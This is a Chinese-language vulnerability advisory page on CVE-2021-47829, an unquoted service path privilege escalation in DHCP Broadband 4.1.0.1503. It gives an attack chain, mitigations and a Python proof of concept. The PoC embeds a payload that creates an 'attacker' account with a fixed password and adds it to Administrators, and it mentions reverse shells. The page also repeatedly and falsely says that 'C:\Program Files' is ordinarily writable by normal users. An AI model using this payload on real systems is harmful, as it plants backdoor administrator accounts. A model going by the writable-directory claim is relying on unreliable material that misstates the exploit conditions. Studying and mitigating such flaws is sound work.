IPBUF安全漏洞报告
English
CVE-2021-47829 CVSS 7.8 高危

CVE-2021-47829 DHCP Broadband 未加引号服务路径本地提权漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47829
漏洞类型
未加引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
DHCP Broadband 4.1.0.1503

相关标签

未加引号服务路径本地提权Windows服务漏洞DHCP BroadbandCVE-2021-47829高危漏洞权限提升服务配置错误

漏洞概述

CVE-2021-47829是DHCP Broadband 4.1.0.1503软件中存在的一个高危本地提权漏洞。该漏洞的根本原因在于服务可执行文件路径中包含空格但未被双引号正确包裹,导致Windows操作系统在解析服务路径时产生歧义。具体问题路径为'C:\Program Files\DHCP Broadband 4\dhcpt.exe',由于'Program Files'和'DHCP Broadband 4'之间存在空格,且整个路径未被引号保护,Windows服务控制管理器在尝试启动服务时会首先尝试执行'C:\Program.exe'或'C:\Program Files\DHCP.exe'等中间路径的可执行文件。攻击者只需将恶意可执行文件重命名为'DHCP.exe'并放置在'C:\Program Files\'目录下,即可利用Windows服务启动机制以LocalSystem最高权限执行恶意代码。此漏洞影响软件的Windows安装版本,攻击者需要具备本地访问权限且能够在系统目录中写入文件。一旦攻击成功,攻击者可以获得目标系统的完全控制权,执行任意操作、安装后门、窃取敏感数据或进一步横向移动。由于该服务随系统启动自动运行,攻击者无需用户交互即可实现持久化攻击。

技术细节

未加引号服务路径(Unquoted Service Path)漏洞是Windows环境中常见的本地提权缺陷。当Windows服务配置中的可执行文件路径包含空格且未被双引号包裹时,服务控制管理器(Service Control Manager)在启动服务时会按照空格分隔的路径逐级查找可执行文件。以'C:\Program Files\DHCP Broadband 4\dhcpt.exe'为例,系统会依次尝试执行:C:\Program.exe、C:\Program Files\DHCP.exe、C:\Program Files\DHCP Broadband 4\dhcpt.exe。攻击者利用这一特性,可以将恶意可执行文件(如DHCP.exe)放置在'C:\Program Files\'目录中。由于该目录通常对普通用户开放写权限,攻击者可以轻松创建恶意文件。当系统重启或服务重启时,Windows会首先找到攻击者放置的恶意'DHCP.exe'并以LocalSystem账户权限执行。LocalSystem是Windows中权限最高的账户,拥有对本地系统的完全控制权。攻击者可以通过编写恶意代码(如反向shell、添加管理员账户或下载部署更多恶意软件)来获取系统完全控制权。此漏洞的利用条件包括:攻击者具有目标系统的本地访问权限、能够在系统目录写入文件、以及服务配置中存在未加引号的可执行文件路径。

攻击链分析

STEP 1
步骤1
信息收集:攻击者获取目标系统的本地访问权限,识别DHCP Broadband 4软件安装,检查服务配置中可执行文件路径是否包含空格且未加引号
STEP 2
步骤2
路径分析:确认服务路径'C:\Program Files\DHCP Broadband 4\dhcpt.exe'存在未加引号漏洞,Windows服务控制管理器会依次尝试执行C:\Program.exe、C:\Program Files\DHCP.exe
STEP 3
步骤3
恶意文件部署:攻击者将恶意可执行文件重命名为'DHCP.exe'并写入'C:\Program Files\'目录,由于该目录对普通用户开放写权限,此步骤可无特权完成
STEP 4
步骤4
触发执行:等待系统重启或服务重启,Windows服务控制管理器在查找dhcpt.exe时会先找到攻击者放置的DHCP.exe并以LocalSystem账户执行
STEP 5
步骤5
权限提升:恶意代码在LocalSystem最高权限下运行,攻击者可执行任意操作,包括创建管理员账户、安装后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47829 PoC - DHCP Broadband Unquoted Service Path Privilege Escalation This script demonstrates the unquoted service path vulnerability in DHCP Broadband 4.1.0.1503 Note: This PoC is for educational and authorized testing purposes only. """ import os import sys import ctypes import shutil def is_admin(): """Check if the script is running with administrator privileges.""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def check_vulnerable_service(): """Check if the vulnerable DHCP Broadband service exists.""" service_path = r'C:\Program Files\DHCP Broadband 4\dhcpt.exe' return os.path.exists(service_path) def create_malicious_executable(): """ Create a malicious executable that will be placed in the unquoted path. This example creates a simple reverse shell or adds an admin user. """ malicious_code = ''' import os import sys import subprocess # Create a new administrator user for demonstration # In real attack, this would be a reverse shell or other malicious payload try: # Add new admin user (for educational purposes only) subprocess.run(['net', 'user', 'attacker', 'P@ssw0rd123', '/add'], capture_output=True) subprocess.run(['net', 'localgroup', 'Administrators', 'attacker', '/add'], capture_output=True) print("[+] Malicious code executed with LocalSystem privileges") except Exception as e: print(f"[-] Error: {e}") ''' # In a real scenario, this would be compiled to an executable # For demonstration, we show the concept print("[*] Malicious executable concept created") return malicious_code def exploit(): """Main exploitation function.""" print("[*] CVE-2021-47829 - DHCP Broadband Unquoted Service Path Exploit") print("[*] Target: C:\\Program Files\\DHCP Broadband 4\\dhcpt.exe") if not is_admin(): print("[-] This exploit requires administrator privileges for service enumeration") print("[*] However, the actual exploitation only requires write access to Program Files") if not check_vulnerable_service(): print("[-] Vulnerable service not found. Target may not be affected.") return False print("[+] Vulnerable service detected!") print("[*] Attack vector:") print(" 1. Create malicious executable named 'DHCP.exe'") print(" 2. Place it in 'C:\\Program Files\\'") print(" 3. Wait for service restart or system reboot") print(" 4. Malicious code executes with LocalSystem privileges") # Demonstrate the concept (actual file creation would be malicious) create_malicious_executable() return True if __name__ == "__main__": exploit()

影响范围

DHCP Broadband 4.1.0.1503

防御指南

临时缓解措施
立即限制'C:\Program Files'目录的写权限,仅允许管理员和SYSTEM账户写入;使用Windows内置工具(如sc命令或PowerShell的Set-Service cmdlet)修改服务配置,为可执行文件路径添加双引号;部署软件限制策略阻止在Program Files目录中运行未经授权的可执行文件;监控Windows安全日志中服务启动的异常事件;如非必要,考虑暂时禁用DHCP Broadband服务直到官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表